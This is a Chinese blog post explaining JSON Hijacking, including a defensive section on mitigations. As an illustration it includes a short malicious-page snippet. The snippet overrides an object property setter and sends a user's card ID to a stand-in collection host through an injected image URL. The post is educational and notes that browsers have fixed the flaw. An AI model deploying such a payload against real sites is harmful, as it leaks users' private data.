JSON Hijacking小结

版权声明:本文为博主原创文章,未经博主允许请尽情转载。 https://blog.csdn.net/yanghuan313/article/details/69357730

该利用方式浏览器已修复


0x00 head

最近在慢慢的读《Web 之困》这本书,作者想要传达的知识量真的很大,好几次译者都在下面注释出作者几句话背后所隐含的知识点,这次看到一篇8年前关于JSON Hijacking的文章,很久远却一点也不过时。

0x01 JSON

首先我们讲讲JSON,JSON 全名JavaScript Object Notation (JavaScript对象表示法),是一种轻量级的数据交换格式,没有复杂的语法,格式也简单,现在几乎无处不在。它通过重载大括号 { 操作符的含义来实现(原本大括号代表的是代码块的分界,多条语句的集合)。

当JS碰到语句的情况时,大括号代表着一段嵌入代码块的起始。但当碰到表达式时,大括号的含义就是一个序列化对象的开始

关于表达式和语句的区别 :JavaScript中:表达式和语句的区别
或者看原文:Expressions versus statements in JavaScript

简单来说,表达式就是必须要有返回值,它可以放在任何需要一个值的地方。而语句是一种行为,一种操作,类似于循环语句(while、for),判断语句 if 等。其中语句是可以用表达式来替换的,最常见的就是用条件运算符(条件表达式)去替换一个 if 判断语句。

下面是一个正确的大括号用作表达式的例子:

var test_object = {
    "given_name"    : "John",
    "family_name"   : "Smith",
    "lucky_numbers" : [11630, 12067, 12407, 12887]
};

alert(test_object.given_name);  //将显示“John”

很好理解,赋值语句的等号右边肯定是表达式,因为它需要返回一个值。

下面这样就会直接报错:

{
    "given_name"    : "John",
    "family_name"   : "Smith",
    "lucky_numbers" : [11630, 12067, 12407, 12887]
};

JSON不允许区块中的内容按照独立的代码语句来执行。目的是什么?防止以 <script src=...> 的方式跨域直接调用代码。

但如果获取的数据不是标准的JSON格式,那么还是有可能直接执行代码的:

{ "hi": alert("HelloWorld!") }      //不执行
({"hi": alert("HelloWorld!")})      //执行
[{"hi": alert("HelloWord!")}]       //执行

因为中括号和小括号中的内容都代表着表达式的意思,表达式在初始化的时候可能会引起代码执行。

0x02 Hijacking

我们假设一个场景:

  1. 某网站 www.example.com 存在一个API接口 http://www.example.com/info/api/
  2. 当验证过身份的用户访问这个链接时,会返回其私密信息 [{"card_id": "123456789"}]
  3. 用户此时正常登录,然后访问了一个恶意站点 http://www.evil.com/
  4. 这个站点有存在这样的隐藏代码:
    <script> 
        Object.prototype.__defineSetter__('card_id', function(info){document.body.innerHTML = "<img src=http://gather-info.com/?info=" + info + " />";});
    </script> 
    <script src="http://www.example.com/info/api/"></script> 

此时,浏览器会向 http://www.example.com/info/api/ 发起一个正常的请求,因为cookie隐式认证(域名相同,所以携带cookie),正确的数据被返回。但由于我们刚刚提过,这种格式的数据[{"card_id": "123456789"}] 是会默认执行代码的,所以开始创建对象,设置 card_id 的值为 123456789 ,但上面存在的代码,将JS对象默认的 Setter 方法进行了重写,改为了向一个恶意信息收集的站点发送请求。
至此,用户的信息被泄露。JSON Hijacking的攻击完成。

0x03 防范措施

第一种,不发送JSON数组的格式。
这是最直接的办法,因为如果该数据格式(比如规范的JSON)不能执行代码,那么黑客也无法利用了。

第二种,强制使用POST方法访问API。
从 script 标签的特点出发,它是无法发起POST请求的,只有JS代码和表单可以。同时,JS发出的请求时无法隐式认证的,自动提交的表单无法接受数据。所以这种方式也是可以防范攻击的。

第三种,检查 header 中的特定值
JS是可以设置 header 的,我们可以手动设置 Content-Type: application/json ,并且ajax发出的数据会带上X-Requested-With: XMLHttpRequest ,服务器检查这两个头域,就可以防范这种攻击。

0x04 思考

这里还有一个相似的漏洞叫CSRF,它同样是利用了cookie的隐式认证,在恶意页面发出用户正常的请求,达到伪造操作的目的,两者一个是执行非法敏感操作,一个是收集敏感信息,真是天生一对。不过还有个东西叫SOME(同源方法执行漏洞),原理上也有很多相似的地方,回顾自己以前写的文章,感觉还是没有把事情说清楚,之后找机会再写一篇。

参考文档:
http://haacked.com/archive/2009/06/25/json-hijacking.aspx/
http://www.cnblogs.com/ziyunfei/archive/2012/09/16/2687589.html
http://2ality.com/2012/09/expressions-vs-statements.html

没有更多推荐了,返回首页